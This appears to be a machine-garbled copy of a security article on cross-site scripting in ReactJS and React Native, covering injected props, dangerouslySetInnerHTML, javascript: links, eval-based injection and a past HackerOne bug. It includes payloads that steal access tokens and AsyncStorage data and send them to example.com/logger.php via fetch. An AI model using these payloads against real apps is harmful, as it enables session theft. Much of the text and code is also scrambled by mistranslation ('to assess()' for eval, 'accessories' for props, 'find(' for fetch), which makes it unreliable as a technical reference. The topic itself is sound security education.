ReactJSis a popular JavaScript library for creating user interfaces. It enables client-rendered "rich" web applications that are fully loaded ahead of time, allowing for a smoother user experience.
Since React apps implement a lot of client-side logic in JavaScript, it seems unreasonable to assume that XSS-type attacks can be worthwhile.
It turns out that ReactJS is pretty secure by design whenever it'sused as it should be used. For example, string variables in views are automatically escaped. However, as with all good things in life, it's not impossible to screw things up. Script injection issues can be caused by poor programming practices, including the following:
- Creation of React components from user-supplied objects;
- Rendering links with user-supplied data
href
attributes or other HTML tags with injectable attributes (link
tag, imports HTML5); - Explicitly define the
dangerouslySetInnerHTML
support of an element; - Pass user-supplied strings to
to assess()
.
In a world governed by Murphy's Law, all of this is guaranteed, so let's take a look.
Componentsthey are the basic building block of ReactJS. Conceptually, they are like JavaScript functions. They accept arbitrary input ("props") and return React elements that describe what should appear on the screen. A basic component looks like this:
Welcome class extends React.Component {render() {return <h1>Hola, {this.props.name}</h1>;}}
Note the strange syntax in thegive back
statement: This isJSXGenericName, a syntax extension for JavaScript. During the compilation process, the JSX code istranspilationto normal JavaScript code (ES5). The following two examples are equivalent:
// JSXconstant element = (
<h1 className="greeting">
Hello World!
</h1>
);// Transpiled to the createElement() callconst elemento = React.createElement(
'h1',
{className: 'greeting'},
'Hello World!'
);
New React elements are created from component classes using thecreateElement()
Function:
reagir.createElement(
type,
[accessories],
[...children]
)
This function takes three arguments:
type
can be a tag name string (like'div'
o'period'
) or a component class. In React Native, only component classes are allowed.accessories
contains a list of attributes passed to the new element.children
contains the child nodes of the new element (which in turn are more React components).
There are multiple attack vectors if you can control any one of these arguments.
Inject us children
In March 2015, Daniel LeCheminant reported aCross-site scripting vulnerability stored in HackerOne. The issue was caused by the HackerOne web application passing an arbitrary user-supplied object as thechildren
argument toreagir.createElement()
. Presumably, the vulnerable code should look like the following:
/* Retrieve a user-supplied stored value from the server and parse it as JSON for whatever reason.atacante_supplied_value = JSON.parse(some_user_input)
*/render() {
devolver <span>{attacker_supplied_value}</span>;
}
This JSX would translate to the following JavaScript:
React.createElement("span", null, attacker_supplied_value};
Whenattacker_supplied_value
was a string as expected, this would produce a regularperiod
element. However, thecreateElement()
The function in current version of ReactJS would also accept simple objects passed aschildren
. Daniel took advantage of the problem by providing a JSON encoded object. He included thedangerouslySetInnerHTML
prop , which allows you to insert raw HTML into the output rendered by React. His final proof of concept was as follows:
{
_isReactElement: true,
_store: {},
type: "body",
accessories: {
dangerouslySetInnerHTML:{
__html:
"<h1>Arbitrary HTML</h1>
<script>alert('Sem suporte CSP :(')</script>
<a href='http://danlec.com'>enlace</a>"
}
}
}
After posting on Daniel's blog, possible mitigations werediscussed on React.js GitHub. In November 2015, Sebastian Markbågemade a correction: React elements are now marked with the attribute$$typeof: Symbol.for('react.element').
Since there is no way to reference a global JavaScript symbol from an injected object, Daniel's technique of injecting child elements can no longer be used.
Control element type
Although simple objects no longer function as ReactJS elements, component injection is still notcompletelyimpossible, becausecreateElement
also accepts strings intype
argument. Suppose a developer did something like this:
// Dynamically creates an element from a string stored in the backend.element_name = stored_value;React.createElement(element_name, nulo);
Estored value
If it were a chain controlled by an attacker, it would be possible to create an arbitrary React component. However, this would result in just a plain HTML element with no attributes (i.e. pretty useless to the attacker). To do anything useful, you must be able to control the properties of the newly created element.
injection accessories
Consider the following code:
// Parses the JSON provided by the attacker for some reason and passes
// the resulting object as props.
// Don't do this at home unless you're a trained expert!attacker_props = JSON.parse(store_value)React.createElement("span", attacker_props};
Here, we can inject arbitrary props into the new element. We could use the following payload to define thedangerouslySetInnerHTML
property:
{"dangerouslySetInnerHTML": { "__html": "<img src=x/ onerror='alert(localStorage.access_token)'>"}}
Some traditional XSS vectors are also viable in ReactJS apps. Be aware of the following antipatterns:
Dangerously explicit setting SetInnerHTML
Developers can choose to set thedangerouslySetInnerHTML
Support on purpose.
<div peligrosamenteSetInnerHTML={user_supplied} />
Of course, if you control the value of this prop, you can input whatever JavaScript you want.
injectable attributes
If you control thehref
attribute of a dynamically generateda
label, there is nothing to stop you from injecting aJavaScript:
URL some other attributes liketraining
in HTML5, the buttons also work in modern browsers.
<a href={userinput}>Anexar</a><button form="name" formation={user input}>
Another exotic injection vector that works in modern browsers is HTML5 imports:
<link rel="import" href={user_supplied}>
Server-side rendered HTML
To improve initial page load times, there has been a trend lately to pre-render React.JS pages on the server ("server-side rendering"). In November 2016,Emilia Smith notedthan the officialRestoredThe sample code for SSR resulted in a cross-site scripting vulnerability because the client state was concatenated in the pre-rendered page without escaping (thesample codeIt has been corrected).
In short: if the HTML is pre-rendered on the server side, you could see the same kinds of XSS issues found in "normal" web apps.
Assessment based injection
If you can handle a string that is dynamically evaluated, you've hit the jackpot and can proceed to inject arbitrary code of your choice. This must be a rare occurrence.
function antiPattern() {
eval(this.state.attacker_supplied);
}// Or even crazierfn = new function("..." + attacker_supplied + "...");
fn();
XSS payload
In the modern world, session cookies are as outdated as manual typewriters and McGyver-style mullets. Today's agile developer uses stateless session tokens, neatly stored in local storage on the client side. Consequently, hackers need to adapt their payloads accordingly.
When exploiting an XSS attack in a ReactJS web app, you could inject something like the following to retrieve an access token from local storage and send it to your registrar:
find('http://example.com/logger.php?token='+localStorage.access_token);
react nativeis a mobile app framework that lets you createnativemobile applications using ReactJS. More specifically, it provides a runtime that can run React JavaScript packages on mobile devices.
In truthStartstyle, you can "port" a React Native app to work in common browsers usingReact native to web(web app on a mobile app on a web app). This means you build apps for Android, iOS, and desktop browsers from a single codebase.
From what I've seen so far, most of the script injection vectors listed above don't work in React Native:
- react native
create inner component
The method only accepts marked component classes, so even if you fully control the arguments forcreateElement()
you cannot create arbitrary elements; - HTML elements do not exist and HTML is not parsed, so typical browser-based XSS vectors (eg.
href
) you cannot use.
only theto assess()
The based variant appears to be exploitable on mobile devices. If you receive JavaScript code injected viato assess()
, you can access native React APIs and do cool stuff. For example, you can steal all data from local storage (asynchronous storage
) by doing something like:
_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify (result));});});
While ReactJS is pretty secure by design, it's not impossible to mess things up. Bad programming practices can lead to exploitable security vulnerabilities.
- Security testers: inject JavaScript and JSON wherever you can and see what happens.
- Developers: do not use again
to assess()
odangerouslySetInnerHTML
. Avoid parsing user-supplied JSON.